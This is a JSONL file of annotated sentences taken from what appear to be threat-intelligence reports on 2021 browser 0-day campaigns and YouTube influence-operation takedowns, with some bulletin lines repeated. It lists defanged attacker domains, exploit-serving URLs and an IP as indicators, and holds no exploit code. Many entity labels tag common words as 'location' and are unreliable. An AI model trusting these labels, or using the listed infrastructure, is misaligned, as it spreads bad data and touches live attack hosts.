-{"id":11857,"text":"While there is an increase in the number of 0-day exploits being used, we believe greater detection and disclosure efforts are also contributing to the upward trend.","entities":[{"id":36563,"label":"location","start_offset":100,"end_offset":103},{"id":36564,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":11858,"text":"Over the past several months, we have discovered two Chrome renderer remote code execution 0-day exploits, CVE-2021-21166 and ​​CVE-2021-30551, which we believe to be used by the same actor.","entities":[{"id":36567,"label":"location","start_offset":69,"end_offset":75},{"id":36569,"label":"location","start_offset":122,"end_offset":125},{"id":36570,"label":"location","start_offset":179,"end_offset":183}],"relations":[],"Comments":[]}
-{"id":11859,"text":"CVE-2021-21166 was discovered in February 2021 while running Chrome 88.0.4323.182 and CVE-2021-30551 was discovered in June 2021 while running Chrome 91.0.4472.77.","entities":[{"id":36572,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":11860,"text":"Both of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia.","entities":[{"id":36574,"label":"location","start_offset":39,"end_offset":42},{"id":36575,"label":"location","start_offset":43,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":11861,"text":"The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.","entities":[],"relations":[],"Comments":[]}
-{"id":11862,"text":"When a target clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client and generate ECDH keys to encrypt the exploits, and then send this data back to the exploit server.","entities":[{"id":36577,"label":"location","start_offset":7,"end_offset":13},{"id":36578,"label":"location","start_offset":147,"end_offset":150},{"id":36579,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
 {"id":11863,"text":"The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.","entities":[{"id":36580,"label":"attack-pattern","start_offset":35,"end_offset":49},{"id":36581,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":11864,"text":"This information was collected by the attackers to decide whether or not an exploit should be delivered to the target.","entities":[{"id":36582,"label":"location","start_offset":111,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":11865,"text":"Using appropriate configurations, we were able to recover two 0-day exploits (CVE-2021-21166 & CVE-2021-30551), which were targeting the latest versions of Chrome on Windows at the time of delivery.","entities":[{"id":36585,"label":"location","start_offset":181,"end_offset":185}],"relations":[],"Comments":[]}
-{"id":11866,"text":"After the renderer is compromised, an intermediary stage is executed to gather more information about the infected device including OS build version, CPU, firmware and BIOS information.","entities":[{"id":36586,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":11867,"text":"This is likely collected in an attempt to detect virtual machines and deliver a tailored sandbox escape to the target.","entities":[{"id":36587,"label":"location","start_offset":8,"end_offset":14},{"id":36588,"label":"location","start_offset":66,"end_offset":69},{"id":36589,"label":"location","start_offset":111,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":11868,"text":"In our environment, we did not receive any payloads past this stage.","entities":[],"relations":[],"Comments":[]}
-{"id":11869,"text":"While analyzing CVE-2021-21166 we realized the vulnerability was also in code shared with WebKit and therefore Safari was also vulnerable.","entities":[{"id":36590,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":11870,"text":"Apple fixed the issue as CVE-2021-1844.","entities":[{"id":36592,"label":"location","start_offset":16,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":11871,"text":"We do not have any evidence that this vulnerability was used to target Safari users.","entities":[{"id":36593,"label":"location","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":11872,"text":"Related IOCs lragir[.]org armradio[.]org asbares[.]com armtimes[.]net armlur[.]org armenpress[.]org hraparak[.]org armtimes[.]org hetq[.]org","entities":[],"relations":[],"Comments":[]}
-{"id":11873,"text":"Despite Microsoft announcing the retirement of Internet Explorer 11, planned for June 2022, attackers continue to develop creative ways to load malicious content inside Internet Explorer engines to exploit vulnerabilities.","entities":[{"id":36597,"label":"location","start_offset":139,"end_offset":143},{"id":36598,"label":"location","start_offset":154,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":11874,"text":"For example, earlier this year, North Korean attackers distributed MHT files embedding an exploit for CVE-2021-26411.","entities":[{"id":36601,"label":"location","start_offset":111,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":11875,"text":"These files are automatically opened in Internet Explorer when they are double clicked by the user.","entities":[{"id":36602,"label":"location","start_offset":12,"end_offset":15},{"id":36603,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":11876,"text":"In April 2021, TAG discovered a campaign targeting Armenian users with malicious Office documents that loaded web content within Internet Explorer.","entities":[{"id":36605,"label":"location","start_offset":32,"end_offset":40},{"id":36608,"label":"location","start_offset":114,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":11877,"text":"This happened by either embedding a remote ActiveX object using a Shell.Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page.","entities":[{"id":36609,"label":"location","start_offset":36,"end_offset":42},{"id":36610,"label":"location","start_offset":66,"end_offset":71},{"id":36611,"label":"location","start_offset":174,"end_offset":178}],"relations":[],"Comments":[]}
-{"id":11878,"text":"At the time, we were unable to recover the next stage payload, but successfully recovered the exploit after an early June campaign from the same actors.","entities":[{"id":36612,"label":"location","start_offset":7,"end_offset":11},{"id":36614,"label":"location","start_offset":122,"end_offset":130},{"id":36615,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]}
 {"id":11879,"text":"After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day.","entities":[{"id":36616,"label":"attack-pattern","start_offset":8,"end_offset":22},{"id":36617,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":11880,"text":"This vulnerability was assigned CVE-2021-33742 and fixed by Microsoft in June 2021.","entities":[{"id":36620,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":11881,"text":"The exploit loaded an intermediary stage similar to the one used in the Chrome exploits.","entities":[{"id":36623,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":11882,"text":"We did not recover additional payloads in our environment.","entities":[],"relations":[],"Comments":[]}
 {"id":11883,"text":"During our investigation we discovered several documents uploaded to VirusTotal.","entities":[],"relations":[],"Comments":[]}
-{"id":11884,"text":"Based on our analysis, we assess that the Chrome and Internet Explorer exploits described here were developed and sold by the same vendor providing surveillance capabilities to customers around the world.","entities":[{"id":36626,"label":"location","start_offset":49,"end_offset":52},{"id":36627,"label":"location","start_offset":110,"end_offset":113},{"id":36628,"label":"location","start_offset":126,"end_offset":130},{"id":36629,"label":"location","start_offset":131,"end_offset":137},{"id":36630,"label":"location","start_offset":198,"end_offset":203}],"relations":[],"Comments":[]}
-{"id":11885,"text":"On July 15, 2021 Citizen Lab published a report tying the activity to spyware vendor Candiru.","entities":[{"id":36633,"label":"location","start_offset":78,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":11886,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
 {"id":11887,"text":"Examples of related Office documents uploaded to VirusTotal: https:\/\/www.virustotal.com\/gui\/file\/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67\/detection https:\/\/www.virustotal.com\/gui\/file\/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb\/detection","entities":[{"id":36637,"label":"URL","start_offset":61,"end_offset":171},{"id":36638,"label":"SHA1","start_offset":172,"end_offset":282}],"relations":[],"Comments":[]}
 {"id":11888,"text":"Unique URLs serving ​​CVE-2021-33742 Internet Explorer exploit: http:\/\/lioiamcount[.]com\/IsnoMLgankYg6\/EjlYIy7cdFZFeyFqE4IURS1 http:\/\/db-control-uplink[.]com\/eFe1J00hISDe9Zw\/gzHvIOlHpIXB http:\/\/kidone[.]xyz\/VvE0yYArmvhyTl\/GzV","entities":[{"id":36639,"label":"URL","start_offset":64,"end_offset":88},{"id":36640,"label":"URL","start_offset":127,"end_offset":136},{"id":36641,"label":"URL","start_offset":187,"end_offset":206}],"relations":[],"Comments":[]}
 {"id":11889,"text":"Word documents with the following classid: {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B} Related infrastructure: workaj[.]com wordzmncount[.]com Not all attacks require chaining multiple 0-day exploits to be successful.","entities":[],"relations":[],"Comments":[]}
-{"id":11890,"text":"A recent example is CVE-​2021-1879 that was discovered by TAG on March 19, 2021, and used by a likely Russian government-backed actor.","entities":[{"id":36644,"label":"location","start_offset":81,"end_offset":84},{"id":36645,"label":"location","start_offset":95,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":11891,"text":"(NOTE: This exploit is not connected to the other three we’ve discussed above.)","entities":[],"relations":[],"Comments":[]}
-{"id":11892,"text":"In this campaign, attackers used LinkedIn Messaging to target government officials from western European countries by sending them malicious links.","entities":[{"id":36648,"label":"location","start_offset":8,"end_offset":16},{"id":36650,"label":"location","start_offset":55,"end_offset":61},{"id":36651,"label":"location","start_offset":88,"end_offset":95},{"id":36653,"label":"location","start_offset":126,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":11893,"text":"If the target visited the link from an iOS device, they would be redirected to an attacker-controlled domain that served the next stage payloads.","entities":[{"id":36654,"label":"location","start_offset":7,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":11894,"text":"The campaign targeting iOS devices coincided with campaigns from the same actor targeting users on Windows devices to deliver Cobalt Strike, one of which was previously described by Volexity.","entities":[{"id":36655,"label":"location","start_offset":4,"end_offset":12},{"id":36656,"label":"location","start_offset":69,"end_offset":73},{"id":36659,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":11895,"text":"After several validation checks to ensure the device being exploited was a real device, the final payload would be served to exploit CVE-​2021-1879.","entities":[{"id":36661,"label":"location","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":11896,"text":"This exploit would turn off Same-Origin-Policy protections in order to collect authentication cookies from several popular websites, including Google, Microsoft, LinkedIn, Facebook and Yahoo and send them via WebSocket to an attacker-controlled IP.","entities":[{"id":36662,"label":"location","start_offset":28,"end_offset":32},{"id":36667,"label":"location","start_offset":181,"end_offset":184},{"id":36669,"label":"location","start_offset":191,"end_offset":194},{"id":36670,"label":"location","start_offset":200,"end_offset":204}],"relations":[],"Comments":[]}
 {"id":11897,"text":"The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.","entities":[],"relations":[],"Comments":[]}
 {"id":11898,"text":"There was no sandbox escape or implant delivered via this exploit.","entities":[],"relations":[],"Comments":[]}
 {"id":11899,"text":"The exploit targeted iOS versions 12.4 through 13.7.","entities":[],"relations":[],"Comments":[]}
-{"id":11900,"text":"This type of attack, described by Amy Burnett in Forget the Sandbox Escape: Abusing Browsers from Code Execution, are mitigated in browsers with Site Isolation enabled such as Chrome or Firefox.","entities":[{"id":36671,"label":"location","start_offset":5,"end_offset":9},{"id":36674,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":11901,"text":"Related IOCs supportcdn.web[.]app vegmobile[.]com 111.90.146[.]198","entities":[{"id":36675,"label":"IPV4","start_offset":50,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":11902,"text":"There is not a one-to-one relationship between the number of 0-days being used in-the-wild and the number of 0-days being detected and disclosed as in-the-wild.","entities":[{"id":36676,"label":"location","start_offset":15,"end_offset":18},{"id":36677,"label":"location","start_offset":22,"end_offset":25},{"id":36678,"label":"location","start_offset":39,"end_offset":46},{"id":36680,"label":"location","start_offset":91,"end_offset":94},{"id":36682,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":11903,"text":"The attackers behind 0-day exploits generally want their 0-days to stay hidden and unknown because that’s how they’re most useful.","entities":[{"id":36685,"label":"location","start_offset":79,"end_offset":82},{"id":36686,"label":"location","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":11904,"text":"Based on this, there are multiple factors that could be contributing to the uptick in the number of 0-days that are disclosed as in-the-wild: Increase in detection & disclosure","entities":[{"id":36687,"label":"location","start_offset":21,"end_offset":24},{"id":36689,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":11905,"text":"This year, Apple began annotating vulnerabilities in their security bulletins to include notes if there is reason to believe that a vulnerability may be exploited in-the-wild and Google added these annotations to their Android bulletins.","entities":[{"id":36692,"label":"location","start_offset":59,"end_offset":67},{"id":36693,"label":"location","start_offset":146,"end_offset":149},{"id":36694,"label":"location","start_offset":175,"end_offset":178}],"relations":[],"Comments":[]}
-{"id":11906,"text":"When vendors don’t include these annotations, the only way the public can learn of the in-the-wild exploitation is if the researcher or group who knows of the exploitation publishes the information themselves.","entities":[{"id":36697,"label":"location","start_offset":50,"end_offset":54},{"id":36698,"label":"location","start_offset":55,"end_offset":58},{"id":36699,"label":"location","start_offset":63,"end_offset":69},{"id":36700,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":11907,"text":"In addition to beginning to disclose when 0-days are believed to be exploited in-the-wild, it wouldn’t be surprising if there are more 0-day detection efforts, and successes, occurring as a result.","entities":[{"id":36702,"label":"location","start_offset":49,"end_offset":52},{"id":36703,"label":"location","start_offset":126,"end_offset":129},{"id":36705,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":11908,"text":"It’s also possible that more people are focusing on discovering 0-days in-the-wild and\/or reporting the 0-days that they found in the wild.","entities":[{"id":36706,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":11909,"text":"Increased Utilization","entities":[],"relations":[],"Comments":[]}
-{"id":11910,"text":"There is also the possibility that attackers are using more 0-day exploits.","entities":[{"id":36708,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":11911,"text":"There are a few reasons why this is likely:    Over the last decade, we believe there has been an increase in attackers using 0-day exploits.","entities":[{"id":36710,"label":"location","start_offset":6,"end_offset":9},{"id":36711,"label":"location","start_offset":36,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":11912,"text":"Attackers needing more 0-day exploits to maintain their capabilities is a good thing — and it  ","entities":[{"id":36715,"label":"location","start_offset":74,"end_offset":78},{"id":36716,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":11913,"text":"reflects increased cost to the attackers from security measures that close known vulnerabilities.","entities":[{"id":36717,"label":"location","start_offset":19,"end_offset":23},{"id":36718,"label":"location","start_offset":46,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":11914,"text":"However, the increasing demand for these capabilities and the ecosystem that supplies them is more of a challenge.","entities":[{"id":36719,"label":"location","start_offset":54,"end_offset":57},{"id":36720,"label":"location","start_offset":86,"end_offset":90},{"id":36721,"label":"location","start_offset":104,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":11915,"text":"0-day capabilities used to be only the tools of select nation states who had the technical expertise to find 0-day vulnerabilities, develop them into exploits, and then strategically operationalize their use.","entities":[{"id":36723,"label":"location","start_offset":30,"end_offset":34},{"id":36725,"label":"location","start_offset":140,"end_offset":144},{"id":36726,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
 {"id":11916,"text":"In the mid-to-late 2010s, more private companies have joined the marketplace selling these 0-day capabilities.","entities":[],"relations":[],"Comments":[]}
 {"id":11917,"text":"No longer do groups need to have the technical expertise, now they just need resources.","entities":[{"id":36729,"label":"identity","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":11918,"text":"Three of the four 0-days that TAG has discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.","entities":[{"id":36735,"label":"location","start_offset":116,"end_offset":119},{"id":36736,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":11919,"text":"Meanwhile, improvements in detection and a growing culture of disclosure likely contribute to the significant uptick in 0-days detected in 2021 compared to 2020, but reflect more positive trends.","entities":[{"id":36737,"label":"location","start_offset":37,"end_offset":40},{"id":36738,"label":"location","start_offset":73,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":11920,"text":"Those of us working on protecting users from 0-day attacks have long suspected that overall, the industry detects only a small percentage of the 0-days actually being used.","entities":[{"id":36743,"label":"location","start_offset":64,"end_offset":68},{"id":36744,"label":"location","start_offset":84,"end_offset":91},{"id":36745,"label":"location","start_offset":97,"end_offset":105},{"id":36746,"label":"location","start_offset":114,"end_offset":118},{"id":36747,"label":"location","start_offset":121,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":11921,"text":"Increasing our detection of 0-day exploits is a good thing — it allows us to get those vulnerabilities fixed and protect users, and gives us a fuller picture of the exploitation that is actually happening so we can make more informed decisions on how to prevent and fight it.","entities":[{"id":36750,"label":"location","start_offset":48,"end_offset":52},{"id":36751,"label":"location","start_offset":109,"end_offset":112},{"id":36752,"label":"location","start_offset":128,"end_offset":131},{"id":36753,"label":"location","start_offset":211,"end_offset":214},{"id":36754,"label":"location","start_offset":262,"end_offset":265}],"relations":[],"Comments":[]}
-{"id":11922,"text":"We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by the Apple, Google, and Microsoft teams.","entities":[{"id":36755,"label":"location","start_offset":45,"end_offset":50},{"id":36756,"label":"location","start_offset":60,"end_offset":63},{"id":36759,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
 {"id":11923,"text":" This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":11924,"text":"It was last updated on July 29, 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":11925,"text":"JuneWe terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
-{"id":11926,"text":"This campaign uploaded content in Azerbaijani and Armenian that was critical of Armenia and supportive of the Azerbaijani military.","entities":[{"id":36766,"label":"location","start_offset":5,"end_offset":13},{"id":36767,"label":"location","start_offset":23,"end_offset":30},{"id":36769,"label":"location","start_offset":46,"end_offset":49},{"id":36772,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":11927,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":36774,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":11928,"text":"We terminated 17 YouTube channels and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Ukraine.","entities":[{"id":36778,"label":"location","start_offset":34,"end_offset":37},{"id":36780,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":11929,"text":"This campaign uploaded content in Ukrainian that amplified several media platforms posing as news outlets and promoting a select number of local politicians.","entities":[{"id":36783,"label":"location","start_offset":5,"end_offset":13},{"id":36784,"label":"location","start_offset":23,"end_offset":30},{"id":36786,"label":"location","start_offset":67,"end_offset":72},{"id":36787,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":11930,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":36788,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":11931,"text":"We terminated 3 YouTube channels, 1 Play developer, and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Russia.","entities":[{"id":36793,"label":"location","start_offset":52,"end_offset":55},{"id":36796,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":11932,"text":"This campaign uploaded content in English, Russian, German, Italian, French, and Spanish that was supportive of Russia’s positions on the military conflicts in Ukraine, the Middle East, and Central Asia.","entities":[{"id":36799,"label":"location","start_offset":5,"end_offset":13},{"id":36800,"label":"location","start_offset":23,"end_offset":30},{"id":36806,"label":"location","start_offset":77,"end_offset":80},{"id":36811,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
 {"id":11933,"text":"We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.","entities":[],"relations":[],"Comments":[]}
-{"id":11934,"text":"This campaign uploaded content in Amahric that was supportive of Prime Minister Abiy Ahmed and was critical of his opposition.","entities":[{"id":36816,"label":"location","start_offset":5,"end_offset":13},{"id":36817,"label":"location","start_offset":23,"end_offset":30},{"id":36820,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":11935,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":36821,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":11936,"text":"We terminated 36 YouTube channels, 1 ads account and 1 blog as part of our investigation into coordinated influence operations linked to Pakistan.","entities":[{"id":36826,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":11937,"text":"This campaign uploaded content in English and Urdu that was critical of India’s government in its treatment of Muslims, particularly in the region of Kashmir.","entities":[{"id":36829,"label":"location","start_offset":5,"end_offset":13},{"id":36830,"label":"location","start_offset":23,"end_offset":30},{"id":36832,"label":"location","start_offset":42,"end_offset":45},{"id":36836,"label":"location","start_offset":140,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":11938,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":36838,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":11939,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":11940,"text":"We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":11941,"text":"This campaign uploaded content in Russian that was critical of the protests supporting Alexei Navalny.","entities":[{"id":36844,"label":"location","start_offset":5,"end_offset":13},{"id":36845,"label":"location","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":11942,"text":"We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":11943,"text":"This campaign uploaded content in Mandarin Chinese that was positive in sentiment about life in Xinjiang, China and was critical of Western allegations of abuses.","entities":[{"id":36851,"label":"location","start_offset":5,"end_offset":13},{"id":36852,"label":"location","start_offset":23,"end_offset":30},{"id":36856,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
 {"id":11944,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":11945,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Moldova.","entities":[],"relations":[],"Comments":[]}
-{"id":11946,"text":"This campaign uploaded content in Russian that contained a variety of sensational political narratives, including one about an imminent threat to Russia from Ukraine and the U.S.We terminated 989 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[{"id":36862,"label":"location","start_offset":5,"end_offset":13},{"id":36863,"label":"location","start_offset":23,"end_offset":30},{"id":36868,"label":"location","start_offset":166,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":11947,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.","entities":[{"id":36872,"label":"location","start_offset":38,"end_offset":45},{"id":36874,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":11948,"text":"A very small subset uploaded content in Chinese and English about China’s COVID-19 vaccine efforts and social issues in the U.S.","entities":[{"id":36875,"label":"location","start_offset":7,"end_offset":12},{"id":36876,"label":"location","start_offset":29,"end_offset":36},{"id":36878,"label":"location","start_offset":48,"end_offset":51},{"id":36881,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":11949,"text":"These findings are consistent with our previous reports.","entities":[{"id":36883,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":11950,"text":"We received leads from FireEye and Graphika that supported us in this investigation.","entities":[{"id":36885,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":11951,"text":"We terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
-{"id":11952,"text":"This campaign uploaded content in Azerbaijani and Armenian that was critical of Armenia and supportive of the Azerbaijani military.","entities":[{"id":36890,"label":"location","start_offset":5,"end_offset":13},{"id":36891,"label":"location","start_offset":23,"end_offset":30},{"id":36893,"label":"location","start_offset":46,"end_offset":49},{"id":36896,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":11953,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":36898,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":11954,"text":"We terminated 17 YouTube channels and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Ukraine.","entities":[{"id":36902,"label":"location","start_offset":34,"end_offset":37},{"id":36905,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":11955,"text":"This campaign uploaded content in Ukrainian that amplified several media platforms posing as news outlets and promoting a select number of local politicians.","entities":[{"id":36908,"label":"location","start_offset":5,"end_offset":13},{"id":36909,"label":"location","start_offset":23,"end_offset":30},{"id":36911,"label":"location","start_offset":67,"end_offset":72},{"id":36912,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":11956,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":36913,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":11957,"text":"We terminated 3 YouTube channels, 1 Play developer, and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Russia.","entities":[{"id":36918,"label":"location","start_offset":52,"end_offset":55},{"id":36921,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":11958,"text":"This campaign uploaded content in English, Russian, German, Italian, French, and Spanish that was supportive of Russia’s positions on the military conflicts in Ukraine, the Middle East, and Central Asia.","entities":[{"id":36924,"label":"location","start_offset":5,"end_offset":13},{"id":36925,"label":"location","start_offset":23,"end_offset":30},{"id":36931,"label":"location","start_offset":77,"end_offset":80},{"id":36936,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
 {"id":11959,"text":"We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.","entities":[],"relations":[],"Comments":[]}
-{"id":11960,"text":"This campaign uploaded content in Amahric that was supportive of Prime Minister Abiy Ahmed and was critical of his opposition.","entities":[{"id":36941,"label":"location","start_offset":5,"end_offset":13},{"id":36942,"label":"location","start_offset":23,"end_offset":30},{"id":36945,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":11961,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":36946,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":11962,"text":"We terminated 36 YouTube channels, 1 ads account and 1 blog as part of our investigation into coordinated influence operations linked to Pakistan.","entities":[{"id":36951,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":11963,"text":"This campaign uploaded content in English and Urdu that was critical of India’s government in its treatment of Muslims, particularly in the region of Kashmir.","entities":[{"id":36954,"label":"location","start_offset":5,"end_offset":13},{"id":36955,"label":"location","start_offset":23,"end_offset":30},{"id":36957,"label":"location","start_offset":42,"end_offset":45},{"id":36961,"label":"location","start_offset":140,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":11964,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":36963,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":11965,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":11966,"text":"We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":11967,"text":"This campaign uploaded content in Russian that was critical of the protests supporting Alexei Navalny.","entities":[{"id":36969,"label":"location","start_offset":5,"end_offset":13},{"id":36970,"label":"location","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":11968,"text":"We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":11969,"text":"This campaign uploaded content in Mandarin Chinese that was positive in sentiment about life in Xinjiang, China and was critical of Western allegations of abuses.","entities":[{"id":36976,"label":"location","start_offset":5,"end_offset":13},{"id":36977,"label":"location","start_offset":23,"end_offset":30},{"id":36982,"label":"location","start_offset":112,"end_offset":115},{"id":36983,"label":"location","start_offset":132,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":11970,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":11971,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Moldova.","entities":[],"relations":[],"Comments":[]}
-{"id":11972,"text":"This campaign uploaded content in Russian that contained a variety of sensational political narratives, including one about an imminent threat to Russia from Ukraine and the U.S.We terminated 989 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[{"id":36987,"label":"location","start_offset":5,"end_offset":13},{"id":36988,"label":"location","start_offset":23,"end_offset":30},{"id":36993,"label":"location","start_offset":166,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":11973,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.","entities":[{"id":36997,"label":"location","start_offset":38,"end_offset":45},{"id":36999,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
